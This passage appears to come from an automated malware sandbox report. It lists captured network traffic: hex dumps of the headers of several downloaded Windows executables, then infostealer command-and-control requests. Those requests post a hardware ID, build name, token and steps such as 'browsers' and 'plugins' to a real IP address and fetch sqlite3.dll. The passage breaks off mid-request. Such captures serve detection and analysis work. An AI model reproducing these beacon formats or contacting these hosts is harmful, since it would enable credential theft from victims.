Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:59:11 GMTContent-Type: application/octet-streamContent-Length: 4419072Last-Modified: Wed, 20 Nov 2024 11:11:09 GMTConnection: keep-aliveETag: "673dc3cd-436e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 73 95 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 aa c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 aa c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 71 64 77 73 73 68 6d 00 c0 1b 00 00 f0 a9 00 00 bc 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6f 79 66 6a 78 63 73 00 10 00 00 00 b0 c5 00 00 04 00 00 00 48 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c5 00 00 22 00 00 00 4c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:59:23 GMTContent-Type: application/octet-streamContent-Length: 1870336Last-Modified: Wed, 20 Nov 2024 11:15:53 GMTConnection: keep-aliveETag: "673dc4e9-1c8a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c0 cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6e 77 71 68 76 6a 6c 00 00 1a 00 00 20 30 00 00 f2 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 74 68 6b 77 6b 65 6b 00 10 00 00 00 20 4a 00 00 04 00 00 00 64 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 68 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:59:29 GMTContent-Type: application/octet-streamContent-Length: 1801216Last-Modified: Wed, 20 Nov 2024 11:16:00 GMTConnection: keep-aliveETag: "673dc4f0-1b7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 4e 2d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 64 73 6c 66 72 66 00 e0 19 00 00 50 4f 00 00 dc 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6e 64 64 70 76 63 6e 00 10 00 00 00 30 69 00 00 06 00 00 00 54 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 69 00 00 22 00 00 00 5a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:59:34 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Wed, 20 Nov 2024 11:14:07 GMTConnection: keep-aliveETag: "673dc47f-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 77 c4 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 32 7f 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 bc a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 bc a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 11:59:39 GMTContent-Type: application/octet-streamContent-Length: 2786816Last-Modified: Wed, 20 Nov 2024 11:14:33 GMTConnection: keep-aliveETag: "673dc499-2a8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 60 f3 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 75 6f 72 61 68 75 6c 00 40 2a 00 00 a0 00 00 00 26 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6b 61 74 71 77 6b 69 00 20 00 00 00 e0 2a 00 00 04 00 00 00 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFHJKJJJECGDHJJDHDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 2d 2d 0d 0a Data Ascii: ------FCFHJKJJJECGDHJJDHDAContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------FCFHJKJJJECGDHJJDHDAContent-Disposition: form-data; name="build"mars------FCFHJKJJJECGDHJJDHDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"browsers------EBFBFBFIIJDAKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="message"plugins------BKKKFCFIIJJKKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.206Content-Length: 7311Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDGHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 